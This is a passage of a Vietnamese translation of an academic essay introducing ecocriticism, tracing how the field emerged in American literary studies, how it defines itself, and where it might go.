thuật phải “đáp ứng được áp lực hiện tại” thì dường như nó vẫn phớt lờ hầu
hết sự nhấn mạnh đến vấn đề đang tranh cãi, được gọi là, khủng hoảng môi
trường toàn cầu. Sự vắng mặt của bất cứ dấu hiệu nào của viễn cảnh nghiên
cứu văn học đương thời để đưa ra một đề nghị là dù có “năng lực xem xét
lại”, học thuật vẫn giữ nguyên tính hàn lâm trong ý thức “khoa học dẫn tới
điểm thiếu hiểu biết về thế giới bên ngoài” (Từ điển di sản Hoa Kì).
Bạn sẽ nhanh chóng nhận ra rằng chủng tộc, giai cấp, và giới tính trở
thành những vấn đề nóng bỏng vào những năm cuối thế kỉ XX. Thế nhưng,
bạn cũng sẽ không bao giờ biết được rằng sự sống của Trái đất – cái nền
tảng đang làm nhiệm vụ chống đỡ tất cả những hệ thống ấy – là cái đang
nằm sâu bên dưới tất cả những giao tranh căng thẳng đó. Thật vậy, có thể
bạn sẽ không bao giờ biết được rằng, dù thế nào, trên tất cả những điều ấy,
41
là chúng ta chỉ có duy nhất một Trái đất mà thôi. Ngược lại, nếu bạn đọc kĩ
tên các bài báo của giai đoạn này, sẽ nghiên cứu về hiện tượng tràn dầu, sự
nhiễm độc chì và khoáng chất, sự ô nhiễm độc hại, sự tuyệt chủng của các
loài chưa từng có từ trước tới nay, những cuộc chiến tranh giành đất đai, sự
chống chọi với chất thải hạt nhân, sự gia tăng lỗ hổng tầng ôzôn, nóng lên
toàn cầu, mưa axit, xói mòn, sự phá hủy của những trận mưa nhiệt đới,
cuộc tranh luận về vết đen trên vùng Tây Bắc Thái Bình Dương, cháy rừng ở
vườn quốc gia Yellowstone, kim tiêm y tế tràn bờ biển Đại Tây Dương, việc
tẩy chay cá ngừ, hành động khai thác quá mức lớp nước ngầm ở phương
Tây, sự xả thải bất hợp pháp ở phương Đông, thảm họa của những lò phản
ứng hạt nhân ở Trecnôbưn, sự phát tán những chuẩn tự động mới, nạn đói
kém, hạn hán, lũ lụt, bão tố, một hội nghị quốc gia đặc biệt về môi trường và
phát triển, công bố của tổng thống Mĩ là những năm 1990 – “thập kỉ môi
trường” và dân số thế giới đạt mức kỉ lục 5 tỉ người. Thông qua tạp chí xuất
bản định kì, bạn thấy rằng vào năm 1989, đoạt giải thưởng năm của tạp chí
Time là bài viết “Trái đất đang lâm nguy” (The Endangered Earth).
Trong quan điểm trái ngược nhau giữa các sự kiện hiện thời và thiên
kiến của giới văn chương, những đòi hỏi về sự uyên thâm của văn học phải
đáp ứng được áp lực hiện tại càng trở nên khó khăn để bào chữa. Cho tới
mãi gần đây, vẫn chưa có dấu hiệu nào mở ra hướng nghiên cứu văn học có
ý thức về khủng hoảng môi trường. Chẳng hạn như không có tạp chí, thuật
ngữ, công việc, tổ chức chuyên nghiệp nào cũng như không có những nhóm
tranh luận hay hội nghị nào trong lĩnh vực văn chương và môi trường. Trong
khi những ngành khoa học nhân văn khác như lịch sử, triết học, luật pháp,
xã hội học và tôn giáo đã “nghiên cứu xanh” từ những năm 1970 thì nghiên
cứu văn học hình như vẫn bỏ ngỏ mối quan tâm đến môi trường. Trong khi,
42
những hoạt động xã hội như là dân quyền, phong trào giải phóng phụ nữ
của những năm sáu mươi, bảy mươi đã làm biến đổi nghiên cứu văn học thế
nhưng sự xuất hiện của phong trào môi trường cùng thời gian này lại ít có
tác động đến nghiên cứu văn học.
Nhưng ngay cả sự xuất hiện, phê bình sinh thái có thể làm chúng ta thất
vọng. Trên thực tế, như những xuất bản định kì trong của một vài bài nghiên
cứu trong hợp tuyển này đã chứng minh, cá nhân những nhà nghiên cứu
văn học và văn hóa đã phát triển lí thuyết và phê bình về phương diện sinh
thái từ những năm bảy mươi. Mặc dù vậy, trái với những hệ thống ràng
buộc chặt chẽ được đề cập trước đây, họ không tạo thành một nhóm để có
thể nhận diện. Vì thế, những nỗ lực khác nhau của họ cũng không được
thừa nhận như một phong trào phê bình rõ rệt. Những nghiên cứu cá nhân
xuất hiện trong một bối cảnh rộng và được phân loại trong một hợp tuyển
dưới các các tiêu đề như nghiên cứu Mĩ, tôn giáo, sinh hoạt nông thôn, biên
giới, sinh thái học nhân văn, khoa học và văn học, tự nhiên trong văn học,
phong cảnh trong văn học, hoặc là tên do các tác giả đặt. Một dấu hiệu của
tình trạng không thống nhất của những nỗ lực trước đó là các nhà phê bình
này hiếm khi trích dẫn tác phẩm của các tác giả khác. Họ không biết rằng nó
tồn tại. Trong ý thức, mỗi nhà phê bình phát minh ra một phương pháp tiếp
cận môi trường tới văn học theo một cách riêng. Mỗi nhà phê bình là một
tiếng nói trong cảnh hoang vu ảm đạm. Kết quả là, phê bình sinh thái không
trở thành một phong trào đứng đầu của một tổ chức có sức hút trong giới
nghiên cứu như Hiệp hội ngôn ngữ hiện đại. Những sinh viên tốt nghiệp
quan tâm đến phương pháp tiếp cận môi trường tới văn học cảm thấy
dường như không thích hợp, đã không giao lưu với các nhà nghiên cứu để
43
tham dự và đã không tìm thấy những thông báo trong lĩnh vực chuyên môn
của họ.
SỰ KHAI SINH CỦA NGHIÊN CỨU VĂN HỌC MÔI TRƯỜNG
Cuối cùng, vào giữa thập niên tám mươi của thế kỉ hai mươi, giới
nghiên cứu bắt đầu đảm nhận công việc cộng tác các dự án, lĩnh vực nghiên
cứu văn học môi trường đã ra đời và phát triển vào đầu thập niên chín
mươi. Năm 1985, Frederick Owaage biên tập cuốn sách mang tên Giảng dạy
văn học môi trường: tài liệu, phương pháp và Tiềm năng phát triển
(Teaching Environmental Literature: Materials, methods, Resources) bao
gồm đủ các loại chiều hướng của mười chín nhà nghiên cứu khác nhau và cố
gắng thúc đẩy “một vóc dáng to lớn hơn của sự thức nhận và quan tâm tới
vấn đề môi trường trong văn học”(2). Năm 1989, Alicia Nitecki viết “Bản tin
văn học Mỹ về các đề tài tự nhiên” (The American Nature Writing
Newsletter) mục đích của bà là để công bố các bài luận vắn tắt, điểm sách,
những ghi chú khóa tốt nghiệp và những thông tin liên quan đến nghiên cứu
cách viết về tự nhiên và môi trường. Một số khác chịu trách nhiệm về những
tranh luận đặc biệt về môi trường của các tạp chí văn học uy tín(3). Một vài
trường đại học đã bắt đầu đưa vào trong các khóa văn học của họ chương
trình giảng dạy về nghiên cứu môi trường, một vài chương trình và học viện
về tự nhiên và văn hóa mới được thành lập; một số khoa tiếng Anh đã bắt
đầu yêu cầu những chương trình nhỏ hơn về văn học môi trường. Năm
1990, trường Đại học ở Nevada, Reno đã tạo ra môi trường hàn lâm của văn
học và môi trường.
44
Cũng trong năm này, một vài phiên họp đặc biệt liên quan đến các sáng
tác viết về tự nhiên hay văn học môi trường là bắt đầu xuất hiện trong
chương trình của Hội nghị văn học thường niên. Có lẽ, phiên họp đặc biệt
nổi tiếng nhất của Hội nghiên cứu ngôn ngữ học hiện đại (MLA) vào năm
1991 được thành lập bởi Harold Fromm có chủ đề “Phê bình sinh thái: Xanh
hóa nghiên cứu văn học”. Năm 1992, Hội nghị chuyên đề của Hiệp hội Văn
học Mỹ do Glen Love chủ trì với chủ đề là “Sáng tác về tự nhiên của văn học
Mỹ: những ngữ cảnh mới, những phương pháp mới” (American Nature
Writing: New Contexts, New Approaches). Năm 1992, tại hội thảo thường
niên của Hội Văn học Miền Tây, một hội mới của văn chương và môi trường
là Hiệp hội Nghiên cứu Văn học và Môi trường (the Association for the Study
of Literature and Environment), viết tắt là ASLE được thành lập, Scott Slovic
được lựa chọn là chủ tịch đầu tiên của hiệp hội này. Sứ mệnh của ASLE là
“để thúc đẩy việc trao đổi { tưởng và thông tin liên quan đến văn học xem
xét mối quan hệ giữa con người và thế giới tự nhiên” và khuyến khích “cách
viết về tự nhiên, các phương pháp học thuật truyền thống và sáng tạo về
cách tiếp cận văn học môi trường, nghiên cứu môi trường liên ngành”.
Trong năm đầu tiên, số thành viên của ASLE hơn 300 người; sang năm thứ
hai, con số đó lên gấp đôi và đã tạo ra một sự kết nối bằng thư điện tử một
cách thuận tiện giữa các thành viên; đến năm thứ ba, năm 1995, các thành
viên của ASLE đã là 750 người và tổ chức hội nghị lần đầu tiên ở Fort Collins,
Colorado. Năm 1993 Patrick Murphy đã xuất bản tạp chí mới, là Nghiên cứu
liên ngành Văn học và Môi trường (ISLE: Interdisciplinary Studies in
Literature and Environment) để “cung cấp một diễn đàn nghiên cứu phê
bình văn học và thi hành nghệ thuật xuất phát từ hoặc quan tâm tới lí do
môi trường. Tạp chí cũng bao gồm cả lí thuyết sinh thái, môi trường luận,
45
quan niệm về tự nhiên và sự miêu tả của họ, sự lưỡng phân giữa con người/
tự nhiên cũng như lợi ích của mối quan hệ giữa con người và tự nhiên”(4)
.
Năm 1990, sau đó, nghiên cứu văn học sinh thái đã nổi lên như một
trường phái phê bình có thể nhận diện được. Sự phân tán rời rạc trước kia
của các học giả đơn lẻ đã nối kết sức mạnh với những học giả trẻ tuổi và
những sinh viên tốt nghiệp trở thành những nhóm quan tâm mạnh mẽ với
khát vọng thay đổi giới nghiên cứu. Khởi nguyên của phê bình sinh thái như
là một phương pháp phê bình tính lùi lại chính là sự kết hợp của hơn hai
mươi năm.
ĐỊNH NGHĨA PHÊ BÌNH SINH THÁI
Vậy, phê bình sinh thái là gì? Nói đơn giản, phê bình sinh thái là nghiên
cứu mối quan hệ giữa văn học và môi trường tự nhiên. Cũng giống như phê
bình nữ quyền xem xét ngôn ngữ và văn học từ góc độ giới tính, phê bình
Marxit mang lại ý thức của phương thức sản xuất và thành phần kinh tế để
đọc văn bản, phê bình sinh thái mang đến phương pháp tiếp cận trái đất là
trung tâm để nghiên cứu văn học.
Phê bình sinh thái và các nhà lí thuyết đã đặt ra nhiều vấn đề: tự nhiên
được hình dung như thế nào trong các bài thơ trữ tình? Vai trò của bối cảnh
tự nhiên trong cốt truyện của tiểu thuyết? Các giá trị thể hiện trong kịch có
nhất quán với trí tuệ sinh thái? Làm thế nào chúng ta có thể mô tả cách viết
về tự nhiên như một thể loại? Ngoài chủng tộc, giới tính nên đặt điểm nào
trở thành danh mục phê bình mới? Nhà văn nam viết về tự nhiên khác nhà
văn nữ như thế nào? Cách đọc nào chịu ảnh hưởng của mối quan hệ của con
46
người với thế giới tự nhiên? Ý niệm về sự hoang dã sẽ thay đổi như thế nào
trong thời gian tới? Những cách nào và những tác động gì mà khủng hoảng
môi trường thấm vào văn học đương thời và văn hóa đại chúng? Quan niệm
về tự nhiên nào đã thấm nhuần trong các báo cáo của chính phủ Mĩ, những
quảng cáo của các doanh nghiệp, các tài liệu tự nhiên của truyền hình và
những gì ảnh hưởng một cách rộng rãi? Những hướng đi nào khoa học sinh
thái học hướng đến trong nghiên cứu văn học? Khoa học mở ra như thế nào
trong việc phân tích văn học? Sự trao đổi lẫn nhau giữa những khái niệm
không giống nhau có thể có giữa nghiên cứu văn học và diễn ngôn môi
trường trong mối quan hệ liên ngành như lịch sử, triết học, tâm lí, lịch sử
nghệ thuật, đạo đức?
Mặc dù phạm vi rộng lớn của những vấn đề đặt ra và mức độ khác nhau
của sự phức tạp, toàn bộ phê bình sinh thái chia sẻ những giả thuyết cơ bản
mà văn hóa con người kết nối với thế giới tự nhiên, ảnh hưởng tới nó và
chịu ảnh hưởng của nó. Phê bình sinh thái đặt ra vấn đề quan hệ nối kết
giữa tự nhiên và văn hóa, đặc biệt là sự tạo tác văn hóa của ngôn ngữ và văn
học. Như là một quan điểm phê bình, phê bình sinh thái đặt một chân ở văn
học và chân kia trên mặt đất; như là một diễn ngôn lí thuyết, phê bình sinh
thái dàn xếp giữa con người và (thế giới) phi nhân.
Phê bình sinh thái có thể được hình dung rõ hơn bằng việc chỉ ra sự
khác biệt nó với phương pháp phê bình khác. Lí thuyết văn học, nhìn chung,
nghiên cứu mối quan hệ giữa nhà văn, văn bản và thế giới. Trong hầu hết
các lí thuyết văn học, “thế giới” đồng nghĩa với xã hội – phạm vi xã hội. Phê
bình sinh thái mở rộng khái niệm “thế giới” bao gồm toàn bộ sinh quyển.
Nếu chúng ta đồng ý với Barry Commoner rằng nguyên tắc đầu tiên của sinh
thái là “Mọi sự vật đều có sự liên kết với nhau”, chúng ta có thể kết luận
47
rằng văn học không lơ lửng ngoài thế giới chất liệu của bầu không khí nghệ
thuật, đúng hơn là góp một phần vào hệ thống trái đất vô cùng phức tạp ở
nơi mà khả năng, vấn đề, và { tưởng tương tác lẫn nhau.
Nhưng tên gọi mang tính phân loại chi nhánh xanh của nghiên cứu văn
học này vẫn được coi như là một sự thỏa thuận. Trong cuốn “Hài kịch của sự
sinh tồn: những nghiên cứu trong sinh thái học văn học” (The Comedy of
Survival: Studies in Literary Ecology, 1972), Joseph Meeker giới thiệu thuật
ngữ: sinh thái học văn học (literary ecology) ám chỉ “sự nghiên cứu chủ đề
sinh thái và những mối liên hệ xuất hiện trong tác phẩm văn học. Đồng thời,
nó cũng là một sự thử nghiệm để khám phá ra vai trò của nó là gì với văn
học trong sinh thái học của loài người”(5). Thuật ngữ ecocriticism có lẽ xuất
hiện lần đầu tiên vào năm 1987 bởi William Rueckert trong một khảo luận
tên là “Văn học và sinh thái học: Một thử nghiệm mới trong phê bình sinh
thái” (Literature and Ecology: An Experiment in Ecocriticism) (được in lại
trong tuyển tập này). Phê bình sinh thái (ecocriticism) theo Rueckert có
nghĩa là “việc ứng dụng sinh thái học và các thuật ngữ sinh thái học vào
nghiên cứu văn học”. Định nghĩa của Rueckert có liên quan đặc biệt với khoa
học sinh thái học và theo đó đã giới hạn lại thành một thuật ngữ được đề
xuất trong tuyển tập này, có thể bao gồm tất cả mối quan hệ giữa văn học
và thế giới tự nhiên(6). Nhiều thuật ngữ khác cũng thường được sử dụng như
“thi pháp sinh thái” (ecopoetics), “phê bình văn học môi trường”
(environmental literary criticism), hay “phê bình (văn hóa) xanh” (green
(cultural) studies).
Nhiều nhà phê bình viết phê bình môi trường không muốn và không
cần đến một cái tên đặc biệt cho nó. Một số khác tranh luận rằng tên gọi là
quan trọng. Hoàn toàn đúng như vậy bởi vì các nghiên cứu trước đây thiếu
48
một chủ đề chung khiến cho chúng phân tán quá rộng, không thể dựa vào
nhau và trở nên khó tiếp cận đồng thời bỏ qua tác động của chúng đến giới
nghiên cứu. Một số học giả thích thuật ngữ ecocritism vì nó ngắn gọn và có
thể dễ dàng tạo thành dạng thức khác là ecocritical (tính chất phê bình sinh
thái) và ecocritic (nhà phê bình sinh thái). Thêm nữa, họ thích tiền tố “eco-”
(sinh thái) hơn tiền tố “enviro-” (môi trường) bởi vì tương tự khoa học sinh
thái học, phê bình sinh thái nghiên cứu mối quan hệ giữa các sự vật, trong
trường hợp này, giữa văn hóa và thế giới tự nhiên. Hơn nữa, theo nghĩa
rộng, tiền tố “enviro” (môi trường) mang tính chất con người là trung tâm
và có tính nhị nguyên, ngụ ý rằng, con người chúng ta là trung tâm, tất cả
mọi thứ xung quanh chúng ta là môi trường. Ngược lại, tiền tố “eco-” (sinh
thái) ám chỉ các cộng đồng phụ thuộc lẫn nhau, những hệ thống hòa hợp và
sự kết nối mạnh mẽ giữa các bộ phận cấu thành. Rốt cuộc, dĩ nhiên, việc sử
dụng sẽ chỉ ra thuật ngữ được chấp nhận. Nhưng nghĩ thế nào cho thuận
tiện là nó sẽ được đặt vào cơ sở dữ liệu máy tính và có một thuật ngữ duy
nhất nhập vào cho sự tìm kiếm chủ đề của bạn…
KHOA HỌC NHÂN VĂN VÀ SỰ KHỦNG HOẢNG MÔI TRƯỜNG
Bất kể là tên gọi gì, hầu hết tác phẩm phê bình sinh thái đều có chung
một động cơ: đó là nỗi day dứt rằng chúng ta đã đi tới thời đại môi trường
cạn kiệt, một thời đại mà hậu quả hành động của con người đang tàn phá
hành tinh. Chúng ta đã tới thời đại đó. Hoặc là chúng ta phải thay đổi chính
mình hoặc sẽ phải đối mặt với thảm họa toàn cầu. Con người đang tàn phá
vẻ đẹp tự nhiên và đẩy vô vàn sinh vật đến bên bờ tuyệt chủng trong cuộc
chạy đua điên rồ của chúng ta tới ngày tận thế. Rất nhiều đồng sự trong các
49
trường đại học trên thế giới đã nhận thức được rằng chúng ta đang ở tình
thế tiến thoái lưỡng nan. Khí chất và tài năng của chúng ta đã kí thác trong
các khoa văn học, nhưng khi những vấn đề môi trường càng trở nên tồi tệ
hơn, công việc lệ thường dường như phù phiếm quá đỗi. Nếu chúng ta
không là phần của đáp án, chúng ta là phần của vấn đề.
Làm thế nào chúng ta có thể góp phần khôi phục môi trường, không chỉ
trong không gian và thời gian của chúng ta mà tự bên trong khả năng của
chúng ta với tư cách như là các chuyên gia văn học. Câu trả lời nằm ở sự
thức nhận rằng các vấn đề môi trường hiện nay chủ yếu là do chính chúng ta
tạo nên, hay nói cách khác, là một sản phẩm của văn hóa. Như nhà sử học
Donald Woster lí giải:
Khủng hoảng toàn cầu mà ngày nay chúng ta đang đối diện có nguồn
gốc không phải bởi hệ thống sinh thái mà ở hệ thống văn hóa của chúng ta.
Vượt qua được cuộc khủng hoảng này cần đến sự lí giải về tác động của văn
hóa đến tự nhiên, thậm chí dùng tri thức đó để cải cách văn hóa của chúng
ta. Các sử gia cùng với nhà nghiên cứu văn học, nhân loại học, và các triết
gia không thể trực tiếp thực hiện cuộc cách mạng, tất nhiên, nhưng họ có
thể mang lại sự hiểu biết.(8)
Trả lời cho cái gọi là sự hiểu biết, các nhà nghiên cứu khoa học nhân
văn khắp nơi đang tìm cách thêm vào chiều kích môi trường những môn học
riêng của họ. Worster và những sử gia khác viết về lịch sử môi trường, viết
về mối quan hệ tương hỗ giữa con người và địa lí, đừng coi tự nhiên như là
sân khấu cho vở diễn của con người, mà là một diễn viên ngang hàng trong
tấn kịch ấy. Họ tìm thấy nguồn gốc của các mối quan hệ giữa hoàn cảnh môi
50
trường với các phương thức sản xuất kinh tế và các { tưởng văn hóa xuyên
thời gian.
Các nhà nhân loại học từ lâu quan tâm tới mối quan hệ giữa văn hóa và
địa lí. Công việc của họ trên các nền văn hóa nguyên thủy đặc biệt có thể
giúp phần còn lại của chúng ta không chỉ tôn trọng quyền sống của con
người mà còn để suy nghĩ về hệ thống và nghi thức đã giúp những nền văn
hóa này tồn tại vững bền.
Tâm lí học một thời gian dài cố tình lời đi tự nhiên trong những lí
thuyết về trí óc con người. Một ít các nhà tâm lí học hiện nay, dù vậy, đã
khám phá ra sự nối kết giữa hoàn cảnh môi trường và sức khỏe tinh thần,
một số liên quan đến sự xa rời hiện tại đối với tự nhiên như căn bệnh cơ
bản của tâm lí và xã hội chúng ta.
Trong triết học, ở những nhánh nghiên cứu khác nhau như đạo đức môi
trường (environment ethics), sinh thái bề sâu (deep ecology), sinh thái nữ
quyền (ecofeminism), sinh thái xã hội (social ecology)
Nhiều nhánh nghiên cứu đã hình thành nhằm tìm hiểu và phê bình
những nguyên nhân dẫn đến suy thoái môi trường và tạo ra những góc nhìn
khác về sự sống mà có thể cung cấp nền tảng đạo đức và kiến thức cho cách
hiểu đúng đắn về tương quan giữa các tồn tại trên trái đất.
Trong khi một số học giả Thiên Chúa Giáo dòng Do Thái giáo cố gắng
tìm kiếm các cứ liệu trong kinh thánh chứng minh con người đã từng làm
chủ trái đất một cách khôn ngoan, hợp l{, các học giả khác đặt lại vấn đề
Chúa là chủ thể sáng tạo tất cả và coi bản thân trái đất là thiêng liêng. Còn
có các học giả khác hướng về tôn giáo cổ đại thờ Nữ thần Đất mẹ, hoặc các
51
truyền thống tôn giáo phương Đông, hoặc tôn giáo của người Mỹ bản địa –
các hệ thống tôn giáo chứa đầy các tín điều sáng suốt về tự nhiên và thế giới
tinh thần(9)
.
Những nhà nghiên cứu văn học là những chuyên gia về các vấn đề giá
trị, { nghĩa, truyền thống, điểm nhìn, ngôn ngữ và ở trong những lĩnh vực
này, họ góp phần đáng kể cho tư tưởng về môi trường. Nhận thức rằng
khủng khoảng môi trường trở nên trầm trọng bởi cách phân chia rời rạc và
chuyên môn hóa thái quá của chúng ta về sự hiểu biết thế giới, các học giả
nhân văn đã nỗ lực hơn để thay đổi chính họ trong khoa học và chấp thuận
phương pháp liên ngành.
NGHIÊN CỨU PHÊ BÌNH SINH THÁI Ở MĨ
Dưới tán rộng của phê bình văn học sinh thái tụ tập rất nhiều dạng phê
bình, và nên như thế, bởi lẽ văn học và môi trường là một chủ đề lớn. Vài
năm trước đây, khi tôi đang nỗ lực tạo ra hệ thống một hệ thống phân
nhánh giúp cho sự tích hợp này trở nên dễ hiểu, Wallace Stegner – tiểu
thuyết gia, sử gia, nhà phê bình văn học – đưa ra lời khuyên sáng suốt rằng
nếu ông làm điều đó, ông sẽ thiên về những chủ đề vẫn còn “rộng, mơ hồ,
nhiều hàm ý, mở chỉ vì văn học và môi trường cũng như tất cả những cách
chúng ảnh hưởng và chịu ảnh hưởng, chứ không cố gắng để mã hóa và hệ
thống hóa. Hệ thống có thể ví như là tấm da sống ẩm ướt”, ông cảnh báo
“khi chúng khô chúng kìm hãm những gì mà chúng kết lại thành hệ thống
rắn chắc”(10) . “Nhiều hàm ý và mở” chính xác là những gì mà phê bình sinh
thái cần có nhưng theo trình tự, để tránh tình trạng lộn xộn trong khảo sát
ngắn gọn sau đây về các tác phẩm phê bình sinh thái, tôi sẽ không làm công
52
việc mã hóa. Do vậy, chúng ta hãy đồng ý rằng hệ thống không phải là sự bó
buộc. Tuy nhiên, mô hình ba giai đoạn trong phê bình nữ quyền của Elaine
Showalter có ích trong việc sắp xếp theo hệ thống ba giai đoạn của phê bình
sinh thái(11)
.
Bước đầu tiên của phê bình nữ quyền, phê bình hình ảnh người phụ
nữ , chú { đến việc người phụ nữ được khắc họa như thế nào trong văn học
kinh điển. Những nghiên cứu này tác động thiết yếu tới nhận thức nữ quyền
thông qua việc phân tích các mẫu thể hiện thành kiến phân biệt giới tính –
như phù thủy, mụ đàn bà xấu xa, gái điếm, và bà cô không chồng – cũng như
nghiên cứu sự vắng mặt của phụ nữ trong các tác phẩm đó, và đặt vấn đề
nghi vấn sự phổ quát có dụng { đó, thậm chí cả giá trị mĩ học của các tác
phẩm văn chương bóp méo hoặc phớt lờ cuộc sống, suy nghĩ của một nửa
nhân loại. Nhiều nghiên cứu phê bình sinh thái khám phá sự thể hiện tự
nhiên trong văn chương. Cũng như trong phê bình nữ quyền, phê bình sinh
thái nghiên cứu các mẫu lặp lại – vườn địa đàng, Acadia, vùng đất nguyên sơ,
đầm lầy chướng khí, vùng hoang dã – cũng như nghiên cứu cả sự thiếu vắng
hình ảnh tự nhiên trong văn bản văn học nhất định nào đó. Nhưng bản thân
tự nhiên không phải là đối tượng duy nhất của phê bình sinh thái. Các chủ
đề khác bao gồm biên giới, động vật, thành phố, các khu vực địa l{ cụ thể,
sông, núi, hoang mạc, thổ dân, khoa học kĩ thuật, rác rưởi, và thân thể.
Giai đoạn thứ hai của phê bình nữ quyền, giai đoạn văn học truyền
thống của nữ giới, tương tự việc phục vụ các chức năng quan trọng của ý
thức nâng cao việc khám phá lại, tái bản lại, xem xét lại văn chương nữ giới.
Phê bình sinh thái cũng cố gắng hồi sinh những thể loại bấy lâu nay bị lãng
quên, phớt lờ của văn chương viết về tự nhiên: truyền thống văn chương
phi hư cấu viết về tự nhiên đã được khởi nguồn ở Anh từ cuốn Lịch sử tự
53
nhiên của Selbourne (A Nature History of Sebourne) do Gilbert White viết
năm 1789 và mở rộng ra ở Mỹ tới Henry Thoreau, John Burroughs, John
Muir, Mary Austin, Aldo Leopold, Rachel Carson, Eward Abbey, Annie
Dillard, Barry Copez, Terry Tempest Williams và nhiều người khác nữa. Sáng
tác viết về tự nhiên lấy làm kiêu hãnh về một quá khứ giàu có, một hiện tại
đầy sức sống và một tương lai đầy triển vọng. Các nhà phê bình sinh thái rút
ra từ nhiều lí thuyết phê bình hiện nay – Phân tâm học, Phê bình mới, Phê
bình nữ quyền, Bakhtin học, Giải cấu trúc – những lợi ích của sự hiểu biết và
thúc đẩy sự phát triển của chính bản thân văn học. Bằng chứng cho thấy
sáng tác về tự nhiên là chiếm lĩnh thị trường văn học, chứng kiến số lượng
đáng kinh ngạc của tuyển tập được xuất bản trong những năm gần đây(12)
.
Trong sự gia tăng của đô thị, những sáng tác về tự nhiên đóng vai trò sống
còn trong việc giáo dục chúng ta về những giá trị của thế giới tự nhiên.
Một nỗ lực khác để phát hành các tác phẩm khai sáng môi trường là
nghiên cứu nhiều xu hướng thể loại, nhận dạng các tác giả tiểu thuyết, thơ
ca mà tác phẩm của họ thể hiện ý thức sinh thái. Những tác giả như Willa
Cather, Robinson Jeffers, W. S. Merwin, Adrienne Rich, Wallace Stegner,
Gary Snyder, Mary Oliver, Usula Le Guin và Alica Walker đã nhận được
nhiều sự chú {, như là những nhà văn tự nhiên của Mỹ, nhưng đường chân
trời của những khả năng vẫn còn để ngỏ. Tương tự như sự quan tâm của
phê bình nữ quyền tới cuộc sống của các nhà văn nữ, các nhà phê bình sinh
thái cũng nghiên cứu những điều kiện môi trường đối với cuộc sống của một
nhà văn – sự chi phối của không gian sống tới khả năng hư cấu của các tác
giả – chứng minh rằng nơi mà nhà văn đã từng lớn lên, từng trải qua và viết
là chỗ thích đáng để hiểu về tác phẩm của họ. Một số nhà phê bình đã tìm
thấy giá trị của những chuyến tham quan tới những nơi mà nhà văn đã sống
54
và viết; ví dụ, hồi tưởng về những bước chân của John Muir đã in trên Sierra
là trải nghiệm bản thân về một trạng thái tuyệt vời; hoặc những tư liệu về
sông Merrimac cho thấy rõ hơn về những bối cảnh tự nhiên trong mục đích
những chuyến lang thang của Thoreau.
Giai đoạn thứ ba mà Showalter nhận ra trong phong trào phê bình nữ
quyền là giai đoạn phát triển lí thuyết, điều này khá là xa tầm với và phức
tạp, cần phải nhờ cậy đến đủ các loại lí thuyết để đề xuất các vấn đề cơ bản
của cấu trúc biểu tưởng của phái tính và giới tính trong phạm vi diễn ngôn
văn học. Tương tự, công việc trong phê bình sinh thái cũng bao gồm cả sự
nghiên cứu các cấu trúc biểu tượng của các loài. Các diễn ngôn văn học định
nghĩa loài người như thế nào? Sự phê bình đó đặt nghi vấn thuyết nhị
nguyên trong tư tưởng Tây phương – vốn tách { nghĩa ra khỏi vấn đề, { nghĩ
ra khỏi thân thể, phân biệt rạch ròi nam giới và phụ nữ, cũng như làm phân
li nhân loại với tự nhiên. Một nỗ lực liên kết đang được thực hiện mang tên
là “sinh thái nữ quyền” (ecofeminism), một diễn ngôn lí thuyết mà chủ đề
của họ là nối kết giữa sự áp bức phụ nữ và sự thống trị tự nhiên. Chưa có
một dự án lí thuyết nào khác thử phát triển thi pháp sinh thái, lấy khoa học
về sinh thái, với tư tưởng hệ thống sinh thái làm cơ sở cho lí thuyết đó cũng
như tầm quan trọng của nó tới các mối quan hệ nối liền nhau với dòng chảy
năng lực tiềm tàng, như là một ẩn dụ cho cách mà thơ ca thực hiện chức
năng với xã hội. Các nhà phê bình sinh thái cũng xem xét đến hiểu biết triết
học hiện nay như sinh thái bề sâu (deep ecology), một triết lí phê phán tận
gốc rễ tư tưởng con người là trung tâm, để từ đó khám phá những hàm
nghĩa cần thiết cho nghiên cứu văn học.
55
TƯƠNG LAI CỦA PHÊ BÌNH SINH THÁI
Điểm nổi bật của phê bình sinh thái chính là sự nghiệp có giá trị mở đầu
bởi vì nó trực tiếp chú ý tới những vấn đề mà chúng ta cần suy nghĩ. Việc
nâng cao ý thức là nhiệm vụ quan trọng nhất. Nếu chúng ta không bắt đầu
suy nghĩ về vấn đề môi trường thì làm thế nào chúng ta có thể giải quyết
được vấn đề đó?
Ở trên, tôi đã nói rằng các nhà phê bình sinh thái có khát vọng thay đổi
giới nghiên cứu. Có lẽ tôi nên viết rằng tôi đã có tham vọng mạnh mẽ như
vậy với phê bình sinh thái. Tôi mong muốn thấy phê bình sinh thái trở thành
một chương của cuốn sách “vẽ lại những ranh giới phê bình của nghiên cứu
văn học”. Tôi mong muốn thấy một chuyên ngành về văn học và môi trường
trong mọi khoa Văn học. Tôi mong muốn thấy cuộc chạy đua của các thí sinh
trên diễn đàn xanh bầu chọn cơ quan cao nhất trong các hiệp hội nghiên
cứu của chúng ta. Chúng ta đã chứng kiến phong trào phê bình nữ quyền và
phong trào phê bình đa dân tộc đã biến đổi tận gốc rễ giới nghiên cứu, thị
trường việc làm và các giá trị. Khi họ thay đổi giới nghiên cứu, họ giúp thay
đổi thế giới.
Một tiếng nói mạnh mẽ trong giới nghiên cứu cho phép các nhà phê
bình sinh thái ảnh hưởng đến sự thay đổi nhiệm vụ quan trọng trong các
tiêu chuẩn, chương trình và các chính sách của trường đại học. Chúng ta
thấy những quyển sách như Niên giám về đất nước sa mạc (A sand country
almanac) của Aldo Leopold và cuốn Người ẩn dật sa mạc (Desert Solitaire)
của Edward Abbey trở thành những cuốn sách chuẩn mực cho các khóa học
văn học Mỹ. Những cuộc trao đổi văn học của sinh viên và các khóa học sáng
tác sẽ khuyến khích suy nghĩ một cách nghiêm túc về mối quan hệ giữa con
56
người và tự nhiên; về vấn đề đạo đức hay thẩm mĩ đặt ra do sự khủng
hoảng môi trường; về việc làm thế nào ngôn ngữ và văn học truyền giá trị
của những hàm { sinh thái sâu xa. Các trường đại học và cao đẳng của thế kỉ
XXI sẽ yêu cầu tất cả sinh viên hoàn thành ít nhất một khóa học liên ngành
về nghiên cứu môi trường. Một số Tổ chức giáo dục đại học sẽ dành một
ngày làm việc bằng giấy tái chế – một số viện khác cũng sẵn sàng làm như
vậy.
Trong tương lai, chúng ta có thể mong rằng phê bình sinh thái trở
thành liên ngành, đa văn hóa và mang tính quốc tế chưa từng thấy từ trước
tới nay. Công tác liên ngành cũng được tiến hành và có thể được tạo điều
kiện hơn nữa bằng cách mời các chuyên gia từ nhiều lĩnh vực để làm diễn
giả tại các hội nghị văn học và bằng việc đăng cai nhiều hơn những hội thảo
